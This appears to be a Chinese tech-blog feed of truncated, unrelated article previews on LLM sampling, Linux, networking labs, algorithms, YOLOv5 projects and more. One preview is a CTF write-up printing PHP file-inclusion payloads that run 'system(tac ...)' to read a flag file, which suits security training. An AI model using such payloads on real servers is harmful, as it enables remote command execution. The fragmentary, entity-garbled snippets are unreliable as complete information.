LLM 推理常见参数 文章参考：LLM 推理常见参数解析 (qq.com) 1.引言 以下图Huggingface Inference API为例（其他框架类似），这里重点介绍top_k，top_p，temperature，repetition_penalty参数，以及greedy_search和beam_search。

一.Linux命令命令固定格式 cmd [OPTION]... [FILE]... option 选项， file，文件名，目录名 命令手册查询 man ls -> man 后面跟需要查看的命令名1. ls 查看目录下的文件 ls -l 目录名 -》 查看指定目录的文件 以详细方式显式 ls -l 文件名…

NamedThreadFactory 命名线程工厂 ThreadPool 线程池 init（）init() 方法是个静态方法，它的核心作用是：当找不到线程池配置文件时，自动创建并写入默认配置。Properties 继承自 Hashtable，本质是…

微服务拆分的核心价值 微服务架构的核心优势在于局部更新能力。当需要修改特定功能时，只需更新对应服务的代码并部署为独立镜像，通过暴露接口（如RESTful API/gRPC服务）供其他服务调用。相较于单体应用，这避免了全局停机…

11月4日星期二，农历九月十五，早报#微语早读。1、外交部：11月10日起对瑞典免签，延长对法国等国免签至2026年底；2、港媒：中国香港奥运冠军江旻憓确认将参加香港立法会选举；3、美团正式上线LongCat…

1.2 安装并启用 tuned  默认情况下，RHEL9 的最小安装中包含并启用了 tuned 软件包  如需要手动安装并启用该软件包：dnf install tunedsystemctl enable --now tuned1.3 选择调优配置文件1.4 从命令行管理配置文件  tuned-adm 命令用于更改 tuned 守…

在 Android Studio 中，打包 APK 时，出现如下错误信息 AAPT2 process unexpectedly exit. Error output: terminating with uncaught exception of type std::bad_alloc: std::bad_alloc# 解读AAPT2 进程意外退出。错误输出： 因未捕获的 std::…

算法原理 1.二分算法的特点：与其他算法相比，在未了解本质的情况下是最恶心、细节最多、最容易写出死循环的算法，但当我们了解了二分算法的本质后，他将变得十分轻松 2.学习的侧重点 1.算法原理（***很重要）…

#两天超大杯 web 37 普通的文件包含&#xff0c;那就只说一种方法好了&#xff1a; ?cdata://text/plain,<?system(tac fla?.php);?>web 38 跟上题差不多&#xff0c;改一下就行&#xff1a; ?cdata://text/plain,<?system(tac fla*);?>web 39 在最后面加了…

问题背景 在部署Vue前端Node后端项目时&#xff0c;前端调用/api/login接口始终返回404错误。后端服务通过curl测试正常&#xff0c;但Nginx代理层出现诡异的//login路径&#xff0c;导致后端拒绝处理。 &#x1f6a8; 问题重现&#xff08;关键场景&#xff09; 场景1&#…

一、使用软件HCL_v5.10.3-Setup.exe二、实验设备路由器&#xff1a;5 台 MSR36-20&#xff08;R1、R2、R3、R4、R5&#xff09;三、实验要求1. 按照图示配置 IP 地址&#xff1b;2. 按区域划分配置 OSPF&#xff08;area0 为骨干区域&#xff0c;area1、area2 为非骨干…

状压DP 简介 状压 DPDPDP 就是把每个元素是否存在于一个集合中的情况用一个 二进制数表示&#xff0c;来作为 DPDPDP 的一个阶段&#xff0c;通常我们会利用计算机超快的位运算对这个集合进行操作。 状压 DPDPDP 主要分为以下两类&#xff1a; 1.集合类 2.棋盘类&#xff…

在过去的几十年里&#xff0c;计算机技术的发展遵循摩尔定律不断演进&#xff0c;但随着晶体管尺寸逼近物理极限&#xff0c;传统计算架构的性能提升逐渐遇到瓶颈。量子计算&#xff08;Quantum Computing&#xff09;的崛起&#xff0c;为信息处理带来了全新的思维模式。它通过…

一、前言涌现能力是指当系统复杂度达到某个阈值时&#xff0c;整体表现出其组成部分所不具备的新特性&#xff0c;它描述了当模型规模达到某个临界点时&#xff0c;突然出现的新能力和行为模式。这种现象不能简单地通过分析模型的组成部分来预测&#xff0c;而是整体系统在复杂…

摘要&#xff1a;企业运营是否疲于在各大社交平台手动寻找客户&#xff1f;效率低、成本高、精准度难保证。本文将介绍如何利用灵梭RPA&#xff08;机器人流程自动化&#xff09;&#xff0c;通过自动化监控、AI智能筛选、个性化私信&#xff0c;在抖音、小红书等技术社区实现精…

文章目录 【电力AI毕设首选】基于YOLOv5的电力设备智能监控系统：电线、电塔、设备与工人检测全流程实战 一、项目价值：为什么做电力设备监控？ 二、技术基石：YOLOv5在电力检测中的优势 三、数据集：从“构建”到“喂饱模型” 1. 数据集从哪来？ 2. 数据集怎么处理？ 四、模型…

毕设突破：从0到1搭建基于YOLOv5/8/10的公共场所电动车识别系统，让你的毕设更具实用价值 文章目录 毕设突破：从0到1搭建基于YOLOv5/8/10的公共场所电动车识别系统，让你的毕设更具实用价值 项目背景与价值：为什么选择公共场所电动车识别？ 第一步：理清逻辑，理解电动车识别…

工具选择往往成为创意落地的关键变量，许多开发者怀揣独特构想，却在主流商业引擎的厚重门槛前望而却步—动辄数十GB的安装包、繁杂的环境配置、陡峭的学习曲线，以及隐藏的授权成本，都在无形中消耗着创作热情。而Godot引擎的出现，它以不足500MB的安装体积，打破了“功能全面…

博主福利&#xff1a;100G电子设计资料合集https://mp.weixin.qq.com/mp/homepage?__bizMzU3OTczMzk5Mg&hid7&snad5d5d0f15df84f4a92ebf72f88d4ee8 功能描述 1、采用51单片机作为主控芯片 2、采用18B20传感器检测温度 3、采用1602显示温度&#xff0c;0~128 仿真…

第二行输出&#xff0c;从左至右&#xff0c;每个位置滑动窗口中的最大值。数据范围1≤n≤1e6 1≤k≤n输入样例&#xff1a;8 3 1 3 -1 -3 5 3 6 7输出样例&#xff1a;-1 -3 -3 -3 3 3 3 3 5 5 6 7为了高效解决&#xff08;O(n) 时间&#xff09;&#xff0c;我们使用一个模拟…